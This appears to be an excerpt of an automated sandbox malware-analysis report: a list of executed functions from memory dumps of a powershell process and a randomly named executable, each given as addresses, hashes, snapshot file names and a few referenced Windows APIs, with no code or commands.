Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 2d8e5c199f5335979778887b622e34919a8febb75adba4d6537578fae4bb4e89
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 8601677121CB0D4FD748EF0CE451AA6B7E0FB99364F10056DE58AC36A5DA36E882CB45

Function 00007FFD9B8AA0FB Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2807114934.00007FFD9B8A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a9000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8698ec87df86ce6e944149dc5128ef449db2ec784a0255c16e951fd72b3cfecb
Instruction ID: 0e85e6ad1cbb7d7d091c0d227a5151eece4c59ebf2b24e33f0b4c946a3ff6ee8
Opcode Fuzzy Hash: 8698ec87df86ce6e944149dc5128ef449db2ec784a0255c16e951fd72b3cfecb
Instruction Fuzzy Hash: 8EF0F67661EA8C5FCB91DF6C9C690E47FB0FF6A201B0501ABD489C7062DA215908CBD2

Function 00007FFD9B8ABFE2 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2807114934.00007FFD9B8A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a9000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b193c31efe273e039d1d4869048b9eecd01be698c28eda7a2ca7c217744a47eb
Instruction ID: 6c5418ea35b5a874cde1ee3fa63fdbe1891322769602289d26b03559287a4adf
Opcode Fuzzy Hash: b193c31efe273e039d1d4869048b9eecd01be698c28eda7a2ca7c217744a47eb
Instruction Fuzzy Hash: FAF0307275C6044FDB4CAA1CF852DB573E1E7D9334B10026FE48BC3696E927E8438685

Function 00007FFD9B8AC028 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2807114934.00007FFD9B8A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a9000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aa6f28ffe9e48e8e048ec1a3827bc00bccea9ba46ff4b23d1c9b550c0387d7d
Instruction ID: cebc1b914345b16d3bf8420286b598564d2842e2040d2e3a943c4371d8d6b5a3
Opcode Fuzzy Hash: 1aa6f28ffe9e48e8e048ec1a3827bc00bccea9ba46ff4b23d1c9b550c0387d7d
Instruction Fuzzy Hash: 66F0303275C6098FDB5CAA1CF8529B573D1EB99320B10016FE48BC3696E927E8428A85

Analysis Process: kOfFkekrfoWUJKTEEHXqPfq.exePID: 7896, Parent PID: 7328COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9C203212 Relevance: .6, Instructions: 595COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3206945995.00007FFD9C200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9c200000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28b5648be8632a1cd6376bab0c5b0d37448c0a0d0c292b60abdffc85a05170bb
Instruction ID: 815d70ff8ee1451bd324d6fe9c89167e655d8aedaf63944dc57a18fe8884de12
Opcode Fuzzy Hash: 28b5648be8632a1cd6376bab0c5b0d37448c0a0d0c292b60abdffc85a05170bb
Instruction Fuzzy Hash: E3122C70A18A8E8FEBB9EF28C8697E937E1FB58311F10412ED84DDB291DB745584CB41

Function 00007FFD9C2108E0 Relevance: 2.6, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Q, xrefs: 00007FFD9C210971
`, xrefs: 00007FFD9C210946

Memory Dump Source

Source File: 00000010.00000002.3206945995.00007FFD9C200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9c200000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: Q$`
API String ID: 0-778378603
Opcode ID: afd2b250272a3f5277af7668a5e165f267c47a6ecef2de50f66c4015b285965b
Instruction ID: a598e53c97326b11394364f9764b8e61c30f3c7e1cbc39ae648ee5845bd292d4
Opcode Fuzzy Hash: afd2b250272a3f5277af7668a5e165f267c47a6ecef2de50f66c4015b285965b
Instruction Fuzzy Hash: 9611F630A0865A8FEB64DB48C8A57A9B3B1FB65740F4041EAD44DE7391DB786A84CF41

Function 00007FFD9BA815C1 Relevance: 1.8, APIs: 1, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileTransactedW.KERNEL32 ref: 00007FFD9BA817A2

Memory Dump Source

Source File: 00000010.00000002.3162965737.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9ba80000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID: CreateFileTransacted
String ID:
API String ID: 2149338676-0
Opcode ID: b5fad7adc7c383abb1beddbde30c9736836704eb5686457d900996650f0bd19f
Instruction ID: efa84919dce94acabb5209a8efeee0b4ff2c7febb76873737b350d76768020ba
Opcode Fuzzy Hash: b5fad7adc7c383abb1beddbde30c9736836704eb5686457d900996650f0bd19f
Instruction Fuzzy Hash: 2781CF70A08A1C8FDB98EF58C894BE9BBF1FB69311F1051AED04DE3651DB71A984CB44

Function 00007FFD9BA81A1D Relevance: 1.7, APIs: 1, Instructions: 208
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 00007FFD9BA81B89

Memory Dump Source

Source File: 00000010.00000002.3162965737.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9ba80000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: c20ae196c0defd81418fd8d65edd4c35df293f1a3b99b03c1c7fdb6600e0c5a1
Instruction ID: 7cd7f2b949d88d955e5c75570edcf1b68ff51dfeb612b4a750735d6502f2f294
Opcode Fuzzy Hash: c20ae196c0defd81418fd8d65edd4c35df293f1a3b99b03c1c7fdb6600e0c5a1
Instruction Fuzzy Hash: 2E61E470A08A1C8FDB98DF58D895BE9BBF1FB69311F1041AED04DE3251DB74A985CB40

Function 00007FFD9BEF3D4F Relevance: 1.7, Strings: 1, Instructions: 427
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^H, xrefs: 00007FFD9BEF3E62

Memory Dump Source

Source File: 00000010.00000002.3187258296.00007FFD9BEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9bef0000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: ^H
API String ID: 0-831983039
Opcode ID: 05d2b0247b281f4e317445baeeaa609b0fbc17f709af4f2bbeaaf2af83b8daa9
Instruction ID: 255ff6577d1397136ef8ddacda537c603bb6fcc566de4e2150d87711f135334a
Opcode Fuzzy Hash: 05d2b0247b281f4e317445baeeaa609b0fbc17f709af4f2bbeaaf2af83b8daa9
Instruction Fuzzy Hash: C0F1DF30B1964A8FEB69CF58C4E16B43BB1FF45300B5141BDC84BCB69ADA39E981CB41

Function 00007FFD9BA84CF1 Relevance: 1.6, APIs: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00007FFD9BA84DC2

Memory Dump Source

Source File: 00000010.00000002.3162965737.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9ba80000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: e0016a2befd575f990fae9e6750ea37cc0d193d2f2c95b06831cbb41b0d8b745
Instruction ID: f2207a4b06fdeecfeb8f3fb63744a01e8731754987ca5059aee9659742184717
Opcode Fuzzy Hash: e0016a2befd575f990fae9e6750ea37cc0d193d2f2c95b06831cbb41b0d8b745
Instruction Fuzzy Hash: FA414C70A08A4C8FDB98DF98D899BEDBBF1FB59310F14416ED00DD7262DA749845CB40

Function 00007FFD9BEF3D6F Relevance: 1.6, Strings: 1, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^H, xrefs: 00007FFD9BEF3E62

Memory Dump Source

Source File: 00000010.00000002.3187258296.00007FFD9BEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9bef0000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: ^H
API String ID: 0-831983039
Opcode ID: 18c11fedac6ff2a16baa97f53f27cd72332aaf42227f654389d6d498d6ead17c
Instruction ID: 93d726b1687932d7315aff56a39ee322255e1e95f1d433dbc08725ca4a0a28d4
Opcode Fuzzy Hash: 18c11fedac6ff2a16baa97f53f27cd72332aaf42227f654389d6d498d6ead17c
Instruction Fuzzy Hash: 3EC1DF3071A64A8BEB2DCF54C0E15B13BB5FF45300B5546BDC88B8B69BDA39E981CB41

Function 00007FFD9BA85E4D Relevance: 1.4, APIs: 1, Instructions: 184
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FFD9BA85F69

Memory Dump Source

Source File: 00000010.00000002.3162965737.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9ba80000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2b31bdc0118451a4ffa225a0aef0d81f68c0d4630ffb65fdd57f271d83848a31
Instruction ID: 2df34cbd59e3aa65b2b9e8ec6203f4029fe5c26d60af2e8be5c99ea20cfff6ff
Opcode Fuzzy Hash: 2b31bdc0118451a4ffa225a0aef0d81f68c0d4630ffb65fdd57f271d83848a31
Instruction Fuzzy Hash: 11510770908A1C8FDF98DF58C895BE9BBF1FB69311F1042AAD44DE3251DB70A985CB81

Function 00007FFD9BEFF358 Relevance: 1.4, Strings: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BEFF3D2

Memory Dump Source

Source File: 00000010.00000002.3187258296.00007FFD9BEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9bef0000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 7abf8cb7421641d92c556b92d23ea3052905fdb6506f6318b6338adeb0921cf9
Instruction ID: 23f2986c51f9adc97afaafaff4a647ab3c95297e724012a2a8ba638385332592
Opcode Fuzzy Hash: 7abf8cb7421641d92c556b92d23ea3052905fdb6506f6318b6338adeb0921cf9
Instruction Fuzzy Hash: 95514F71F0A50E8FDB59DFA8C4A15FDBBB5EF58300F1141BAD01AE7296CA356A01CB80

Function 00007FFD9BEF9718 Relevance: 1.4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BEF9792

Memory Dump Source

Source File: 00000010.00000002.3187258296.00007FFD9BEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9bef0000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: c43bb2ca3fd1c120b8b58c501800e4fc7a1d57b794f3cc6a47174d812193c0ce
Instruction ID: 15383b1ff443468dd9431d7f4a053fedcac7e237e188ea290beae9378a26159e
Opcode Fuzzy Hash: c43bb2ca3fd1c120b8b58c501800e4fc7a1d57b794f3cc6a47174d812193c0ce
Instruction Fuzzy Hash: 85516D34F0964E8FEB58DB98C4655BCBBB5EF54300F5541BEC05AE72E2DA366A01CB40

Function 00007FFD9BEF3AEB Relevance: 1.4, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BEF3B52

Memory Dump Source

Source File: 00000010.00000002.3187258296.00007FFD9BEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9bef0000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: f635189616c59f853163ea49e9aebfec37a0f73c26fd4469615ad3cd860aa64c
Instruction ID: 21aa168ab5aa6078ae44edeb930d97cc13fb3cf28adb81f57caa26440b199e79
Opcode Fuzzy Hash: f635189616c59f853163ea49e9aebfec37a0f73c26fd4469615ad3cd860aa64c
Instruction Fuzzy Hash: 47518F71F0994E8FDB5ADB98C4A45BDBBB5FF48300F1141BAC01EE7292DA392A01CB50

Function 00007FFD9B8CE2E0 Relevance: 1.4, Strings: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:U_H, xrefs: 00007FFD9B8CE9CF

Memory Dump Source

Source File: 00000010.00000002.3149822729.00007FFD9B8CB000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b8cb000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: :U_H
API String ID: 0-2441192379
Opcode ID: 27eb283faec77f9549a3c01b35786b137a1fa8d6e9450cbd75c8cb27aea52b2e
Instruction ID: 2042dff90b5c2de03045d0d1d01ed1b6549320e877f1a12c9e28dec9de4294dd
Opcode Fuzzy Hash: 27eb283faec77f9549a3c01b35786b137a1fa8d6e9450cbd75c8cb27aea52b2e
Instruction Fuzzy Hash: 7D512BB0E0956D8EEBA4EF58C8997F9B7B1EB68301F1041F6D00D932A1DA746AC5CF41

Function 00007FFD9B8D587B Relevance: 1.4, Strings: 1, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x, xrefs: 00007FFD9B8D5AC2

Memory Dump Source

Source File: 00000010.00000002.3149822729.00007FFD9B8CB000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b8cb000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: 207888319c787eff3de8b2f918d54636e10a7faedde5098c4aef837b4da0d08d
Instruction ID: 6f82c9e11627b54c710fb0b488d9f696acd17a3a1a73eded62f65e710d75dfe3
Opcode Fuzzy Hash: 207888319c787eff3de8b2f918d54636e10a7faedde5098c4aef837b4da0d08d
Instruction Fuzzy Hash: 53510870E0951E8FEB68DF94C4A5ABDB7F1FB98305F61026FC00A972A1CB756985CB40

Function 00007FFD9BEFCD22 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

X^H, xrefs: 00007FFD9BEFCD5D

Memory Dump Source

Source File: 00000010.00000002.3187258296.00007FFD9BEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9bef0000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: X^H
API String ID: 0-791933376
Opcode ID: b661f89027e042af991525bf0132a865e7fce723c1929c9ce97f597093c3c521
Instruction ID: 9c2e394c9bf7f2872f40f7539b09da7ded3792e859e8bc30e692a819cb0b8862
Opcode Fuzzy Hash: b661f89027e042af991525bf0132a865e7fce723c1929c9ce97f597093c3c521
Instruction Fuzzy Hash: 7721D971E1591D9FDFA8DB58C465AADB7B1FF68300F1101AAD05EE3291CA36A941CB40

Function 00007FFD9C345DD6 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

g, xrefs: 00007FFD9C346874

Memory Dump Source

Source File: 00000010.00000002.3216666037.00007FFD9C340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9c340000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: g
API String ID: 0-30677878
Opcode ID: 271b092793332d9412ea7e1dc3852102aa547ef5d31db99875b6806dbd07038c
Instruction ID: cf00aeb288e13ad14a27f95e92b53ac91abe30027f432ba06b14e8af6d0b17e8
Opcode Fuzzy Hash: 271b092793332d9412ea7e1dc3852102aa547ef5d31db99875b6806dbd07038c
Instruction Fuzzy Hash: 7F317A30E0925ACFDB25DF44C8A4AA8B7B1FF65300F1445AEC409A7292CB346946CF51

Function 00007FFD9B8CD9C0 Relevance: 1.3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

#, xrefs: 00007FFD9B8CDA36

Memory Dump Source

Source File: 00000010.00000002.3149822729.00007FFD9B8CB000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b8cb000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: a131387ec94127a7f13d6094db9d42c306980d8bcd94ce5ceb79318dd7e54f25
Instruction ID: 135437b00fbe20a8e8a3f755380153831e712b740c6c5343b35e2d5da992c6a8
Opcode Fuzzy Hash: a131387ec94127a7f13d6094db9d42c306980d8bcd94ce5ceb79318dd7e54f25
Instruction Fuzzy Hash: AD110A70A0956E8FDB64DF44C8547FDB2F1FB58301F0041BAD009A3692DB385A45DF51

Function 00007FFD9C34491A Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

&, xrefs: 00007FFD9C3444C0

Memory Dump Source

Source File: 00000010.00000002.3216666037.00007FFD9C340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9c340000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: a56f39fb7085cbc4a2e5f5c20f2ae22d9f3b2cf5119a7e2bff52c832dfe40a2e
Instruction ID: 3fbbf6888a00c74c5f92f320d5edfff017a4839d6683f7beda041cc0a428aaef
Opcode Fuzzy Hash: a56f39fb7085cbc4a2e5f5c20f2ae22d9f3b2cf5119a7e2bff52c832dfe40a2e
Instruction Fuzzy Hash: 5B015230A0470E8FDB68DF44C895AE9B3F1EFA4351F144279D4099B395CB786A80CF81

Function 00007FFD9B897BFC Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

^, xrefs: 00007FFD9B897C5E

Memory Dump Source

Source File: 00000010.00000002.3149822729.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b890000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 686ad4075f13995a39ee99df8d50d354322636fc4c76bc9aa590da71175be026
Instruction ID: 141eaf5a75ea6f8ac198e2e1ea1797e0c3cf4975389a29d40c3231801fa0a33e
Opcode Fuzzy Hash: 686ad4075f13995a39ee99df8d50d354322636fc4c76bc9aa590da71175be026
Instruction Fuzzy Hash: 3D11FA74E1562DDAEBB0DB58C8587E8B7B0FB48315F1042E5D00DE26A0DB786AC48F01

Function 00007FFD9C3461D1 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

a, xrefs: 00007FFD9C346219

Memory Dump Source

Source File: 00000010.00000002.3216666037.00007FFD9C340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9c340000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: dff47035c12b455e054fcb3f8365d42830bcdb261145a183d26120221db8e632
Instruction ID: 5c55824b5274d12b18da3830a0d1a3cc041e8b61b8c81a53ca1e12368978b360
Opcode Fuzzy Hash: dff47035c12b455e054fcb3f8365d42830bcdb261145a183d26120221db8e632
Instruction Fuzzy Hash: 62F0A270A18D5D8EEB98EF48CC95BA877B1FBA4301F1446B9940DD3291CA346D818B45

Function 00007FFD9B8D8D38 Relevance: 1.3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

Strings

\, xrefs: 00007FFD9B8D9FBB

Memory Dump Source

Source File: 00000010.00000002.3149822729.00007FFD9B8CB000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b8cb000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: \
API String ID: 0-2967466578
Opcode ID: ae31803260f2adc9b2ad8c196d0ad86d9e22a3087eb31cabda6872fa2e7472e5
Instruction ID: 736a0acaae4323d197a5b440fbb0ac25ab677985128b9144eebdf344e446eb11
Opcode Fuzzy Hash: ae31803260f2adc9b2ad8c196d0ad86d9e22a3087eb31cabda6872fa2e7472e5
Instruction Fuzzy Hash: FCE07570E0992D8EEBA0DB58C8987A9B7B1FB99310F5141E6C00DA3264CA34AA818F01

Function 00007FFD9B8D9F84 Relevance: 1.3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

Strings

\, xrefs: 00007FFD9B8D9FBB

Memory Dump Source

Source File: 00000010.00000002.3149822729.00007FFD9B8CB000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b8cb000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: \
API String ID: 0-2967466578
Opcode ID: 2da3d4069c13c1dcd8c91a8c89c8879b82c5ead2aa2f44f47a6c6a8100a2762d
Instruction ID: 0d97d35bf2683cf5a395e2a7da5bc547bbba2b849c17d55e1433cc31c949e9a6
Opcode Fuzzy Hash: 2da3d4069c13c1dcd8c91a8c89c8879b82c5ead2aa2f44f47a6c6a8100a2762d
Instruction Fuzzy Hash: 5CE01A30E046198FEB60EF14C8496D8B3B1EF48310F5041E6C50CA72A5CB3469818F41

Function 00007FFD9C34128A Relevance: 1.3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

:, xrefs: 00007FFD9C3413DB

Memory Dump Source

Source File: 00000010.00000002.3216666037.00007FFD9C340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9c340000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: a72739eb386c6b2323e1283e1e47ad4239542bfc7f03c77e8a288a5ff6a3975f
Instruction ID: 63ab022082cbcfaf9f879d771005bc07653f594e99d77a490335755bce38d960
Opcode Fuzzy Hash: a72739eb386c6b2323e1283e1e47ad4239542bfc7f03c77e8a288a5ff6a3975f
Instruction Fuzzy Hash: 49E01270F0866B8AEB24EF85C8646BDB6B2EF44384F5045BDC00DAA696DBB82541DF41

Function 00007FFD9C204430 Relevance: 1.0, Instructions: 1021COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3206945995.00007FFD9C200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9c200000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23bdaf0e1a85f9d12e1c5dcb8eac5490ea81ca60368cce8093928c04f0808628
Instruction ID: cbd5def6eb345a37d11b9a1585b60bfe199c1637b1855a390d56a1e8337856ca
Opcode Fuzzy Hash: 23bdaf0e1a85f9d12e1c5dcb8eac5490ea81ca60368cce8093928c04f0808628
Instruction Fuzzy Hash: 65922270A4492D8FDFA9EF18C894FA9B7B1FB68305F5041D9910EE7261DA31AE81CF44

Function 00007FFD9BEF76A0 Relevance: .7, Instructions: 686COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3187258296.00007FFD9BEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9bef0000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66a4586a850ff1b6ab8e5b95e41c5d3d355a7d238d8caffcd923440af271d839
Instruction ID: fdf1c91f145fe03aecd94fdd1c3055cf26662fe2dbe80dce92ca4a59b40435f7
Opcode Fuzzy Hash: 66a4586a850ff1b6ab8e5b95e41c5d3d355a7d238d8caffcd923440af271d839
Instruction Fuzzy Hash: 3632B330B09A1D8FDBA8DB58C865AB97BE2FF59310F5141B9D00EC72A2DE35AD41CB44

Function 00007FFD9C205C17 Relevance: .5, Instructions: 521COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3206945995.00007FFD9C200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9c200000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33c29f69404308f4bf0ee2bc9a0df57d3930a3a72bf8ea444104943dfe2dcb85
Instruction ID: 3358c0f8393840ec0f5a25b29e2c010af8cb1d24a5150d399f733835710c0384
Opcode Fuzzy Hash: 33c29f69404308f4bf0ee2bc9a0df57d3930a3a72bf8ea444104943dfe2dcb85
Instruction Fuzzy Hash: 19122574A4492D8FDF99EF18C898BA977B1FB68305F5041E9900EE7261DB31AE85CF40

Function 00007FFD9C206B05 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3206945995.00007FFD9C200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9c200000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f8b9069216bcdc70ad0b1ab728a8023a6a56b53127ad8e488bb062b41a2f513
Instruction ID: f9b87263defb0f5e52b4574626d322554f3b2ce16b78774d9cf22a8c40b19220
Opcode Fuzzy Hash: 7f8b9069216bcdc70ad0b1ab728a8023a6a56b53127ad8e488bb062b41a2f513
Instruction Fuzzy Hash: 67028C70A1895D8FDFA8EF18C8A9BA877B1FB69305F1001E9D40DD7691DA35AE81CF40

Function 00007FFD9C20202E Relevance: .4, Instructions: 446COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3206945995.00007FFD9C200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9c200000_kOfFkekrfoWUJKTEEHXqPfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dccf1d778f1ae26bae95c5af982c2b592be710361b1559b6f35c8f4a4f119e37
Instruction ID: cfbb67f8bbb695adf376e38fd2a9018a899ee49456ad45b0bfa1e65c65707e5b
Opcode Fuzzy Hash: dccf1d778f1ae26bae95c5af982c2b592be710361b1559b6f35c8f4a4f119e37
Instruction Fuzzy Hash: 4DE14E70A18A8E8FDBB8EF68C865BE937E1FF59301F00416AD84ECB291DB749541CB41

Function 00007FFD9BEFF5A9 Relevance: .4, Instructions: 421COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3187258296.00007FFD9BEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEF0000, based on PE: false

Joe Sandbox IDA Plugin

